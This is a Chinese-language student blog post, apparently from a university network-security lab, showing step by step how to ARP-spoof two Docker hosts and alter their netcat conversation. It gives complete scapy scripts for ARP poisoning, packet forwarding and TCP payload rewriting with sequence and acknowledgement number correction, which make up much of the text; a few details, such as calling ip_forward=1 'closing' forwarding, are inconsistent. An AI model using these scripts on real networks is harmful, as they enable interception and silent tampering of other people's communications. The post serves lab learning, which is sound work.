【HUST】攻防实践｜中间人攻击netcat通信过程

更新（略微整理了一下行文逻辑的版本）：【HUST】网络攻防实践｜TCP会话劫持+序列号攻击netcat对话_shandianchengzi的博客-CSDN博客_tcp序列号攻击是如何实现的。

旧版博客（刚做成功实验的时候写的，没怎么整理）如下文。

----

这篇文章记录从零开始篡改tcp报文数据段的过程。
阅读本文的前提：知道ARP欺骗及其危害，用过wireshark或者能够从上下文推断出wireshark是一款抓包的工具。
假设你已经做过这个实验，对实验环境和内容都起码见过，那么，可以直接从方案二看起。

文章目录

• 实验环境
• • docker*3
  • • 新建docker
    • docker常用指令
• 正式开始
• • 攻击对象
  • 攻击目的
  • 最终效果
  • 过程记录
  • • Part 1 ip转发
    • Part 2 篡改数据
    • • 方案一：直接篡改
      • 方案二：修改数据长度
      • 方案三：修改序列号

实验环境

Ubuntu与docker。注：任意两台相互能通信的机器+一台攻击机均可。

docker*3

docker权限：seedubuntu(root权限)

新建docker

创建HostA：

sudo docker run -it --name=HostA --hostname=HostA --net=intranet --ip=192.168.60.2 --privileged "seedubuntu" /bin/bash

创建HostM：

sudo docker run -it --name=HostM --hostname=HostM --net=intranet --ip=192.168.60.3 --privileged "seedubuntu" /bin/bash

创建HostB：

sudo docker run -it --name=HostB --hostname=HostB --net=intranet --ip=192.168.60.4 --privileged "seedubuntu" /bin/bash

docker常用指令

打开HostM：

sudo docker start HostM

把HostM映射到bash中：

sudo docker exec -it HostM /bin/bash

查看当前docker有哪些：

sudo docker ps

关闭防火墙：

sudo iptables -F

正式开始

攻击对象

攻击nc连接中，A向B发送数据的过程。

nc监听333端口：nc -lv 333
nc连接333端口：nc 192.168.60.2 333

攻击目的

将A向B发送的数据篡改为固定的字符串'U000011222_shandianchengzi\n'。

最终效果

左侧是HostA的面板，右侧是HostB的面板。
其中HostA向HostB发送的每一句话都被篡改成'U000011222_shandianchengzi\n'。

过程记录

如果你对arp欺骗、nc连接、docker使用已经非常熟悉，可以跳过Part 1。

Part 1 ip转发

首先，对HostA、B进行ARP欺骗，并关闭ip转发。
关闭ip转发：

sudo sysctl net.ipv4.ip_forward=1

ARP欺骗有很多方法，在此直接用python：

from scapy.all import *
from time import *

IP_A    = "192.168.60.2"
IP_B    = "192.168.60.4"
MAC_M     = "02:42:c0:a8:3c:03"

print("SENDING SPOOFED ARP REQUEST......")

ether = Ether()
ether.dst = "ff:ff:ff:ff:ff:ff"
ether.src = "02:42:c0:a8:3c:03"

arp = ARP()
arp.psrc  = IP_B
arp.hwsrc = MAC_M
arp.pdst  = IP_A
arp.op = 1
frame1 = ether/arp
arp2 = ARP()
arp2.psrc = IP_A
arp2.hwsrc = MAC_M
arp2.pdst = IP_B
arp2.op = 1
frame2 = ether/arp2
while 1:
  sendp(frame1)
  sendp(frame2)
  sleep(5)

运行纯粹的ip转发框架。
框架如下：

from scapy.all import *

IP_A="192.168.60.2"
IP_B="192.168.60.4"
MAC_A='02:42:c0:a8:3c:02'
MAC_M='02:42:c0:a8:3c:03'
MAC_B='02:42:c0:a8:3c:04'

def spoof_pkt(pkt):
  try:
    if(pkt.src==MAC_M):
      return
    if(pkt[IP].src==IP_A and pkt[IP].dst==IP_B):
      pkt.src=MAC_M
      pkt.dst=MAC_B
    elif(pkt[IP].src==IP_B and pkt[IP].dst==IP_A):
      pkt.src=MAC_M
      pkt.dst=MAC_A
    del(pkt.chksum)
    del(pkt[TCP].chksum)
    sendp(pkt)
  except Exception as e:
    print("[-] Error = "+str(e))
    if(pkt.type!=2054 and str(e)!="load"):
      pkt.show()
    try:
      sendp(pkt)
    except Exception as e2:
      pass

f= "host "+IP_A+" and host "+IP_B+" and tcp"
pkt = sniff(filter=f,iface='eth0', prn=spoof_pkt)

倘若你有些看不太懂，没关系，我之后会专门写一个短篇来解释这个程序。
如果你对arp欺骗有一点了解，只要知道它能用来转发被arp欺骗后阻塞的报文即可。

在HostM上运行欺骗HostA和B的arp欺骗程序、ip转发程序。并在AB间建立nc即时对话。

HostA：nc -lv 333
HostB：nc 192.168.60.2 333

Part 2 篡改数据

方案一：直接篡改

程序

pkt[TCP].load就是数据。那么，直接令A发送给B的报文的pkt[TCP].load='U000011222_shandianchengzi\n'，是否可行呢？
我们在框架中添加这一行，并观察现象。

from scapy.all import *

IP_A="192.168.60.2"
IP_B="192.168.60.4"
MAC_A='02:42:c0:a8:3c:02'
MAC_M='02:42:c0:a8:3c:03'
MAC_B='02:42:c0:a8:3c:04'

def spoof_pkt(pkt):
  try:
    if(pkt.src==MAC_M):
      return
    if(pkt[IP].src==IP_A and pkt[IP].dst==IP_B):
      pkt.src=MAC_M
      pkt.dst=MAC_B
      pkt[TCP].load='U000011222_shandianchengzi\n' #new
    elif(pkt[IP].src==IP_B and pkt[IP].dst==IP_A):
      pkt.src=MAC_M
      pkt.dst=MAC_A
    del(pkt.chksum)
    del(pkt[TCP].chksum)
    sendp(pkt)
  except Exception as e:
    print("[-] Error = "+str(e))
    if(pkt.type!=2054 and str(e)!="load"):
      pkt.show()
    try:
      sendp(pkt)
    except Exception as e2:
      pass

f= "host "+IP_A+" and host "+IP_B+" and tcp"
pkt = sniff(filter=f,iface='eth0', prn=spoof_pkt)

现象

当输入的数据长度与这个字符串长度相同时，比如输入"U100010100_shandianchengzi\n",可见B中显示的是被篡改后的内容。如下图：
（字符串涉及个人隐私信息，因此将它涂掉了）

但当输入的数据长度与这个字符串长度不相同时，比如输入"test\n"，B中没有显示。

查看wireshark抓包结果，可见最末尾的数据被覆盖成了"U1000"，并且可以看到报文的转发是正常进行的，只是B对这个报文没有任何的反应：

初次猜测这是因为换行符号被覆盖。于是将希望篡改的字符串修改成"U100010100_shandianchengzi\n"，重新测试，输入"U100010100_shandianchengzi\n"进行测试。发现B中能够成功接收到不带换行的"U100010100_shandianchengzi\n"，如下图：

因此可以排除通讯会因为换行符停滞。

方案二：修改数据长度

程序

注意到能发出去的报文的数据长度都是有限的，正好IP层有个len属性pkt[IP].len和报文长度息息相关。因此从c语言的角度猜测：将load替换成更长的字符串，会导致报文结尾或开头的某个特殊字符被覆盖，从而导致报文异常。

那么，如果load被替换成较短的字符串，后续的报文不就不会收到影响了吗？
因此输入更长的字符串"U100010100_shandianchengziiiiiiii\n"。但是此时wireshark中竟然连新伪造的tcp包都观察不到了。

因此，怀疑实际长度比len短的tcp报文会出错。

综上，推断出，报文中某个特定值会用来判断报文的正确性，这个特定值很可能就是IP层的报文长度。
于是修改程序，将len长度恒定正确报文长度79 ( 这个79是包括ip和tcp两层的长度，具体的值可以在wireshark中看到，或者在程序中添加pkt.show()观察到 ) 。
添加一行pkt[IP].len=79。就在刚刚加的那行下面添加就行。

现象

再次随便输入任意数据测试。使用短数据"test"时，发现，虽然能够顺利地欺骗一次HostB，但是A发送的数据始终会被M篡改，B响应的报文对应的数据长度永远是24，而非发送长度。因此A无法接受B对它发出的响应，A会继续给B发送报文，导致所以没办法继续输入数据进行欺骗，如下图：

使用长数据"U100010100_shandianchengzii\n"时，B中则显示了两次被篡改的字符串。wireshark中表示该长数据被分成了两个tcp包进行发送，第一个发"U100010100_shandianchengzii"，第二个发"\n"。由于第二个短数据包的存在，通讯又卡住了。
如下图(3773,3777表示两个tcp分包，此后黑色报文表示A持续请求和B持续回应)：

既然A不能接受B的回应是因为长度原因，那干脆放弃攻击目的呗，把长度不匹配的字符串暂时改成长度一致的字符串，来保证通讯不卡死。添加判断条件76，如果长度小于等于76则取newdata[0:len-1]+’\n’。

重新测试。输入任意长度k的数据任意次数时，在HostB上可以显示(k / 76)个被篡改成功的数据，并显示长度为(k mod 76)字符串节选，如下图：

至此，已经完成了一个篡改了数据、不过分干扰通信的程序。

结束……

---

了吗？

怎么可能，这根本就不是我想要的。

好的，继续。

方案三：修改序列号

程序

假设攻击者需要将每次传输的数据都替换成’U11112233\n’，长度为10。

了解到tcp的三次握手，并补充了一下tcp报文中参数的意思、了解了ACK风暴之后，我意识到报文长度还会影响seq和ack。

其中一篇文章写得很好，我摘录一部分对我有启发的片段，我能找到的最早的链接是https://blog.csdn.net/maray/article/details/2937456：

TCP协议的序列号
现在来讨论一下有关TCP协议的序列号的相关问题。在每一个数据包中，都有两段序列号，它们分别为： SEQ：当前数据包中的第一个字节的序号 ACK：期望收到对方数据包中第一个字节的序号 假设双方现在需要进行一次连接：

S_SEQ：将要发送的下一个字节的序号

S_ACK：将要接收的下一个字节的序号

S_WIND：接收窗口

//以上为服务器（Server）

C_SEQ：将要发送的下一个字节的序号

C_ACK：将要接收的下一个字节的序号

C_WIND：接收窗口
//以上为客户端（Client）
它们之间必须符合下面的逻辑关系，否则该数据包会被丢弃，并且返回一个ACK包（包含期望的序列号）。

C_ACK <= C_SEQ <= C_ACK + C_WIND

S_ACK <= S_SEQ <= S_ACK + S_WIND
如果不符合上边的逻辑关系，就会引申出一个“致命弱点”，具体请接着往下看。
致命弱点

这个致命的弱点就是ACK风暴(Storm)。当会话双方接收到一个不期望的数据包后，就会用自己期望的序列号返回ACK包；而在另一端，这个数据包也不是所期望的，就会再次以自己期望的序列号返回ACK包……于是，就这样来回往返，形成了恶性循环，最终导致ACK风暴。比较好的解决办法是先进行ARP欺骗，使双方的数据包“正常”的发送到攻击者这里，然后设置包转发，最后就可以进行会话劫持了，而且不必担心会有ACK风暴出现。当然，并不是所有系统都会出现ACK风暴。比如Linux系统的TCP/IP协议栈就与RFC中的描述略有不同。注意，ACK风暴仅存在于注射式会话劫持。

TCP会话劫持过程

假设现在主机A和主机B进行一次TCP会话，C为攻击者（如图2），劫持过程如下：

A向B发送一个数据包

SEQ (hex): X ACK (hex): Y FLAGS: -AP— Window: ZZZZ，包大小为:60

B回应A一个数据包

SEQ (hex): Y ACK (hex): X+60 FLAGS: -AP— Window: ZZZZ，包大小为:50

A向B回应一个数据包

SEQ (hex): X+60 ACK (hex): Y+50 FLAGS: -AP— Window: ZZZZ，包大小为:40

B向A回应一个数据包

SEQ (hex): Y+50 ACK (hex): X+100 FLAGS: -AP— Window:
ZZZZ，包大小为:30

攻击者C冒充主机A给主机B发送一个数据包

SEQ (hex): X+100 ACK (hex): Y+80 FLAGS: -AP— Window: ZZZZ，包大小为:20

B向A回应一个数据包

SEQ (hex): Y+80 ACK (hex): X+120 FLAGS: -AP— Window: ZZZZ，包大小为:10

接下来，应用在我这次会话劫持中。
假设A向B发送带LEN1=3的数据，这个报文[PSH,ACK]的相关参数记为SEQ1，ACK1。
B表示接收到时，回应一个无数据报文[ACK]给A。这个报文的相关参数记为SEQ2，ACK2。
其中SEQ2=ACK1,ACK2=SEQ1+LEN1。
为了方便记忆，这里假设SEQ2=ACK1=2，ACK2=SEQ1+LEN1=1+3=4。

倘若攻击者修改了LEN1的长度为LEN1’=10，A接收到的回应的ACK2=SEQ1+LEN1’=1+10=11，A会认为B没有回应，并继续重发[PSH,ACK]报文。相关的wireshark截图如下，可以看到序列号不对产生的后果：

因此，我提前记录SEQ1=1和LEN1=3，将B回应的ACK2由11篡改为ACK2’=4，再发送给A。

from scapy.all import *
IP_A="192.168.60.2"
IP_B="192.168.60.4"
MAC_A='02:42:c0:a8:3c:02'
MAC_M='02:42:c0:a8:3c:03'
MAC_B='02:42:c0:a8:3c:04'
temp={'SEQ':0,'ACK':0,'LEN':0,'ACK2':0} #new
def spoof_pkt(pkt):
  try:
    if(pkt.src==MAC_M):
      return
    if(pkt[IP].src==IP_A and pkt[IP].dst==IP_B):
      pkt.src=MAC_M
      pkt.dst=MAC_B
      temp['LEN']=len(pkt[TCP].load) #new
      temp['SEQ']=pkt[TCP].seq #new
      temp['ACK']=pkt[TCP].ack #new
      pkt[IP].len=79
      pkt[TCP].load='U000011222_shandianchengzi\n'
      pkt.show()
    elif(pkt[IP].src==IP_B and pkt[IP].dst==IP_A):
      pkt.src=MAC_M
      pkt.dst=MAC_A
      if(pkt[TCP].seq==temp['ACK']): #new
        pkt[TCP].ack=temp['SEQ']+temp['LEN'] #new
    del(pkt.chksum)
    del(pkt[TCP].chksum)
    #pkt.show()
    sendp(pkt)
  except Exception as e:
    print("[-] Error = "+str(e))
    if(pkt.type!=2054 and str(e)!="load"):
      pkt.show()
    try:
      sendp(pkt)
    except Exception as e2:
      pass

f= "host "+IP_A+" and host "+IP_B+" and tcp"
pkt = sniff(filter=f,iface='eth0', prn=spoof_pkt)

现象

可此时又出现了下一个现象：下一次A向B发送数据LEN3=2时，记参数为SEQ3，ACK3。
SEQ3=ACK2=4,ACK3=SEQ2=2。
中间人攻击者依旧篡改了LEN3’=10。
然后B接收数据时，记参数为SEQ4，ACK4。
同样地，SEQ4=ACK3=SEQ2=2，ACK4=SEQ3+LEN3’=4+10=14。
让我们一起回忆一下B第一次回应未被篡改的参数：SEQ2=2，ACK2=11。
倘若你是协议设计者，仅看这两个参数，你会怎么确定接收到的数据长度呢？没错，ACK4-ACK2=3是B认为自己真正需要接收的报文长度。因此B的屏幕上仅仅回显长度为3的字符串。

以此类推，当A向B发送数据时，B中会依次显示长度为10/3/2的字符串，并且依次是：
U11112233\n
33\n
3\n
这是不符合攻击者预期的。

程序2

为了解决这一问题，显然，我们可以提前记录未被篡改的ACK2，将下一次A发送的SEQ3修改为SEQ3’=ACK2，从而保证ACK4是正确的。
SEQ3’=ACK2=11，SEQ4=ACK3=SEQ2=2，ACK4=SEQ3’+LEN3’=11+10=21。
为保证A能够正确处理B的回应，攻击者篡改ACK4’=SEQ3+LEN3=4+10=14。

为了验证可行性，我们再模拟一轮发送和接受报文的过程。
记A向B发送第三次数据LEN5=6时的参数为SEQ5、ACK5。
SEQ5=ACK4’=14，ACK5=SEQ4=ACK3=SEQ2=2。
LEN5’=10。
B的回应参数为SEQ6、ACK6。
SEQ5’=ACK4=21
SEQ6=ACK5=2，ACK6=SEQ5’+LEN5’=21+10=31。
ACK6’=SEQ5+LEN5=14+6=20。

发现确实是可行的。

至此，就完成了一个两方各说各的、谁也不碍着谁、前言不搭后语的程序。

from scapy.all import *
IP_A="192.168.60.2"
IP_B="192.168.60.4"
MAC_A='02:42:c0:a8:3c:02'
MAC_M='02:42:c0:a8:3c:03'
MAC_B='02:42:c0:a8:3c:04'
temp={'SEQ':0,'ACK':0,'LEN':0,'ACK2':0}
def spoof_pkt(pkt):
  try:
    if(pkt.src==MAC_M):
      return
    if(pkt[IP].src==IP_A and pkt[IP].dst==IP_B):
      pkt.src=MAC_M
      pkt.dst=MAC_B
      temp['LEN']=len(pkt[TCP].load)
      temp['SEQ']=pkt[TCP].seq
      if(temp['ACK2']): #new
        pkt[TCP].seq=temp['ACK2'] #new
      temp['ACK']=pkt[TCP].ack
      pkt[IP].len=79
      pkt[TCP].load='U000011222_shandianchengzi\n'
      pkt.show()
    elif(pkt[IP].src==IP_B and pkt[IP].dst==IP_A):
      pkt.src=MAC_M
      pkt.dst=MAC_A
      if(pkt[TCP].seq==temp['ACK']):
        temp['ACK2']=pkt[TCP].ack #new
        pkt[TCP].ack=temp['SEQ']+temp['LEN']
    del(pkt.chksum)
    del(pkt[TCP].chksum)
    #pkt.show()
    sendp(pkt)
  except Exception as e:
    print("[-] Error = "+str(e))
    if(pkt.type!=2054 and str(e)!="load"):
      pkt.show()
    try:
      sendp(pkt)
    except Exception as e2:
      pass

f= "host "+IP_A+" and host "+IP_B+" and tcp"
pkt = sniff(filter=f,iface='eth0', prn=spoof_pkt)

现象2